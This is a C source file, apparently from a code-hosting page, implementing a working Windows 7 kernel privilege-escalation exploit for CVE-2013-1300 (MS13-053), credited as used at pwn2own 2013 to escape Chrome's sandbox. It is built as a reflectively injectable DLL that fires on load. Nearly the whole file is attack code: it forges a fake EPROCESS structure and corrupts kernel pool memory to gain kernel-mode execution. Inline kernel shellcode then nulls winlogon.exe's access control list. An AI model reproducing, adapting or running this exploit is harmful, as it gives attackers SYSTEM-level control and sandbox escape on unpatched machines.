292 lines
7.9 KiB
C
Executable File
292 lines
7.9 KiB
C
Executable File
/*!
|
|
* @file dllmain.cpp
|
|
* @brief Exploit for CVE-2013-1300 aka ms13-053
|
|
* @detail Tested on Windows 7 32-bit.
|
|
* Used in pwn2own 2013 to break out of chrome's sandbox.
|
|
* Found and exploited by nils and jon of @mwrlabs.
|
|
*/
|
|
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
// Purloined from ntstatus.h
|
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
|
|
|
#define WIN32_NO_STATUS
|
|
#include <windows.h>
|
|
#undef WIN32_NO_STATUS
|
|
|
|
#ifndef _NTDEF_
|
|
typedef __success(return >= 0) LONG NTSTATUS;
|
|
typedef NTSTATUS *PNTSTATUS;
|
|
#endif
|
|
|
|
#define MAX_PAGE 4096
|
|
|
|
#define TABLE_BASE 0xff910000
|
|
|
|
#define EXPLOIT_MSG WM_GETTEXT
|
|
|
|
// global variables FTW
|
|
HWND gHwnd = 0x0;
|
|
unsigned int gEPROCESS = 0x0;
|
|
unsigned gPid = 0x0;
|
|
|
|
typedef struct _HANDLEENTRY {
|
|
VOID *phead;
|
|
VOID *pOwner;
|
|
UINT8 bType;
|
|
UINT8 bFlags;
|
|
UINT16 wUniq;
|
|
} HANDLEENTRY, *PHANDLEENTRY;
|
|
|
|
DWORD gethandleaddress(HANDLE h) {
|
|
HMODULE mod = GetModuleHandleA("user32.dll");
|
|
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
|
|
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
|
|
DWORD index = (DWORD)h&0x3ff;
|
|
HANDLEENTRY entry = handles[index];
|
|
return (DWORD)entry.phead;
|
|
}
|
|
|
|
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
|
WORD um=0;
|
|
__asm {
|
|
mov ax, cs
|
|
mov um, ax
|
|
}
|
|
if(um == 0x1b) {
|
|
|
|
} else {
|
|
// KERNEL MODE CODE EXECUTION
|
|
// shellcode to change ACL of winlogon.exe to 0x0
|
|
__asm {
|
|
mov eax, hwnd // WND
|
|
mov eax, [eax+8] // THREADINFO
|
|
mov eax, [eax] // ETHREAD
|
|
mov eax, [eax+0x150] // KPROCESS
|
|
mov eax, [eax+0xb8] // flink
|
|
procloop:
|
|
lea edx, [eax-0xb8] // KPROCESS
|
|
mov eax, [eax]
|
|
add edx, 0x16c // module name
|
|
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
|
|
jne procloop
|
|
sub edx, 0x170
|
|
mov dword ptr [edx], 0x0 // null acl
|
|
mov eax, [edx + 0xb8] // write winlogon pid to global var
|
|
mov gPid, eax
|
|
}
|
|
return 0x201000;
|
|
}
|
|
return DefWindowProcW(hwnd,msg,wparam,lparam);
|
|
}
|
|
|
|
HWND createhelperwnd() {
|
|
WNDCLASSA wndclass;
|
|
HANDLE hinst = GetModuleHandleA(0);
|
|
DWORD rc = 0;
|
|
|
|
wndclass.style = 0x4000;
|
|
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
|
|
wndclass.cbClsExtra = 0;
|
|
wndclass.cbWndExtra = 0;
|
|
wndclass.hInstance = (HINSTANCE)hinst;
|
|
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
|
wndclass.hCursor = 0;
|
|
wndclass.hbrBackground = (HBRUSH)6;
|
|
wndclass.lpszMenuName = 0;
|
|
wndclass.lpszClassName = (LPCSTR) 0x1338;
|
|
rc=RegisterClassA(&wndclass);
|
|
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
|
|
|
return windowhandle;
|
|
}
|
|
|
|
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
|
|
PVOID *baseAddress,
|
|
ULONG_PTR zeroBits,
|
|
PSIZE_T regionSize,
|
|
ULONG allocationType,
|
|
ULONG protect);
|
|
|
|
BOOL AllocFakeEProcess(DWORD address) {
|
|
unsigned int addr = 0x200000;
|
|
DWORD allocsize = 0x4000;
|
|
int x=0;
|
|
|
|
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
|
|
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
|
|
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
|
|
|
|
|
|
unsigned o = (0x20 / 4); // the offset into the page
|
|
NTSTATUS res = 0x0;
|
|
|
|
for(x=0; x<0x60; x++) {
|
|
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
|
|
if(res == 0x0) {
|
|
|
|
break;
|
|
}
|
|
|
|
addr += 0x10000;
|
|
}
|
|
if(res!=0) return FALSE;
|
|
memset((void*)addr, 0xab, 0x4000);
|
|
UINT *eprocess = (UINT*)addr+o;
|
|
UINT *before = (UINT*)addr;
|
|
// large enough values to hold reference
|
|
before[2] = 0x00080000;
|
|
before[3] = 0x400000;
|
|
UINT *second = (UINT*)addr + (0x1000/4);
|
|
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
|
|
|
|
eprocess[0] = 0x03030303; // least significant byte == 0x3
|
|
|
|
// Pointer to EPROCESS_QUOTA_BLOCK
|
|
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
|
|
eprocess[0xd4/4] = address;
|
|
|
|
gEPROCESS = (unsigned int)eprocess;
|
|
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
|
|
//second[0x20] = 0x2;
|
|
//second[0x30] = 0x1;
|
|
return TRUE;
|
|
}
|
|
|
|
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
|
|
if(msg == EXPLOIT_MSG) {
|
|
// triggering the exploit through WM_GETTEXT
|
|
// printf("[-] WM_GETTEXT message\n");
|
|
unsigned char payload[] = "ABCDE ";
|
|
payload[7] = (gEPROCESS>>16) & 0xff;
|
|
memcpy((void *) lparam, (void *)payload, 8);
|
|
return 8;
|
|
}
|
|
return DefWindowProcA(hwnd, msg, wparam, lparam);
|
|
}
|
|
|
|
DWORD windowthreadproc(LPVOID arg) {
|
|
WNDCLASSA wndclass;
|
|
HANDLE hinst = GetModuleHandleA(0);
|
|
DWORD rc = 0;
|
|
MSG msg;
|
|
|
|
wndclass.style = 0x4000;
|
|
wndclass.lpfnWndProc = (WNDPROC)wndproc;
|
|
wndclass.cbClsExtra = 0;
|
|
wndclass.cbWndExtra = 0;
|
|
wndclass.hInstance = (HINSTANCE)hinst;
|
|
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
|
|
wndclass.hCursor = 0;
|
|
wndclass.hbrBackground = (HBRUSH)6;
|
|
wndclass.lpszMenuName = 0;
|
|
wndclass.lpszClassName = (LPCSTR) 0x1337;
|
|
rc=RegisterClassA(&wndclass);
|
|
|
|
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
|
|
|
|
gHwnd = windowhandle;
|
|
|
|
while(1) {
|
|
GetMessageA(&msg, 0x0, 0x0, 0x0);
|
|
TranslateMessage(&msg);
|
|
DispatchMessageA(&msg);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
|
|
__asm {
|
|
push ansi
|
|
push fnid
|
|
push result
|
|
push lparam
|
|
push wparam
|
|
push msg
|
|
push hwnd
|
|
push 0xdeadbeef
|
|
mov eax, 11eah
|
|
mov edx, 7ffe0300h
|
|
call [edx]
|
|
add esp, 20h
|
|
}
|
|
}
|
|
|
|
typedef struct _CLIENT_ID
|
|
{
|
|
PVOID UniqueProcess;
|
|
PVOID UniqueThread;
|
|
} CLIENT_ID, *PCLIENT_ID;
|
|
|
|
typedef long (*_RtlCreateUserThread)(HANDLE,
|
|
PSECURITY_DESCRIPTOR,
|
|
BOOLEAN,ULONG,
|
|
PULONG,PULONG,
|
|
PVOID,PVOID,
|
|
PHANDLE,PCLIENT_ID);
|
|
|
|
_RtlCreateUserThread RtlCreateUserThread;
|
|
|
|
int Schlamperei()
|
|
{
|
|
// Create window which will execute the wndproc in kernel mode
|
|
HWND wnd = createhelperwnd();
|
|
|
|
// Retrieve memory address of window using gSharedInfo
|
|
DWORD addressofwnd = gethandleaddress(wnd);
|
|
|
|
HMODULE ntdll=LoadLibraryA("ntdll.dll");
|
|
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
|
|
|
|
// Allocate fake EPROCESS in user mode
|
|
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
|
|
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
|
|
return 0;
|
|
}
|
|
|
|
// Create window in new thread to trigger inter thread message sending
|
|
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
|
|
|
|
Sleep(0x1000);
|
|
|
|
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
|
|
// 8 byte block allocations = 16 bytes
|
|
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
|
|
unsigned char *buf = (unsigned char *)malloc(16);
|
|
for(int i=0; i<0x40; i++) {
|
|
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
|
|
}
|
|
|
|
SendMessage(wnd, 0x401, addressofwnd, 0x0);
|
|
|
|
ExitProcess(0);
|
|
}
|
|
|
|
extern HINSTANCE hAppInstance;
|
|
|
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
|
|
BOOL bReturnValue = TRUE;
|
|
switch (dwReason) {
|
|
case DLL_QUERY_HMODULE:
|
|
hAppInstance = hinstDLL;
|
|
if (lpReserved != NULL) {
|
|
*(HMODULE *)lpReserved = hAppInstance;
|
|
}
|
|
break;
|
|
case DLL_PROCESS_ATTACH:
|
|
Schlamperei();
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
return bReturnValue;
|
|
};
|
|
|
|
|